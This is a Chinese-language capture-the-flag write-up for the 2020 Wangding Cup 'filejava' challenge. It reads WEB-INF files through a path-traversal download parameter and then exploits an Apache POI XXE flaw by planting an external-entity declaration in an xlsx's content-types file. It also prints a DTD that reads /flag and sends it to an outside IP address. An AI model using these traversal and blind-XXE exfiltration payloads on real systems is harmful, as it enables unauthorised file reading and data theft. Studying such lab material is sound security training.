[网鼎杯 2020 青龙组]filejava
知识点
- xxe详述
-常见文件泄露 - Apache POI XML外部实体(XML External Entity,XXE)攻击详解
解题步骤
经典文件上传。
先随便传个东西,用burpsuite抓包。
发现下载的时候有可疑请求
估计是随意文件读取
根据Java的尿性,读取WEB-INF/web.xml
然后把3个class文件下载下来,根据Java的命名规则,每个.代表一个文件夹。DownloadServlet?filename=../../../../../../../../../usr/local/tomcat/webapps/file_in_java/WEB-INF/classes/cn/abc/servlet/DownloadServlet.class DownloadServlet?filename=../../../../../../../../../usr/local/tomcat/webapps/file_in_java/WEB-INF/classes/cn/abc/servlet/ListFileServlet.class DownloadServlet?filename=../../../../../../../../../usr/local/tomcat/webapps/file_in_java/WEB-INF/classes/cn/abc/servlet/UploadServlet.class
在idea上代码审计
看到奇怪的地方
百度一下,可以知道apache的excel xxe漏洞
创建一个xlsx文件,改后缀为zip并解压
修改[content-types].xml为<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://47.96.173.116/1.dtd"> %remote;%int;%send; ]> <Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/><Default Extension="xml" ContentType="application/xml"/><Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/><Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/><Override PartName="/xl/theme/theme1.xml" ContentType="application/vnd.openxmlformats-officedocument.theme+xml"/><Override PartName="/xl/styles.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.styles+xml"/><Override PartName="/docProps/core.xml" ContentType="application/vnd.openxmlformats-package.core-properties+xml"/><Override PartName="/docProps/app.xml" ContentType="application/vnd.openxmlformats-officedocument.extended-properties+xml"/></Types>
因为是无回显的xxe,需要用到vps
在自己的vps上创建1.dtd为<!ENTITY % file SYSTEM "file:///flag"> <!ENTITY % int "<!ENTITY % send SYSTEM 'http://47.96.173.116:2333?p=%file;'>"> %int; %send;
然后服务器监听2333端口,将刚刚解压的文件压缩回去,上传文件,在服务器获取flag
![](http://47.96.173.116/wp-content/uploads/2021/06/KFJBU6GX5TSFXMH0_BJXG.png)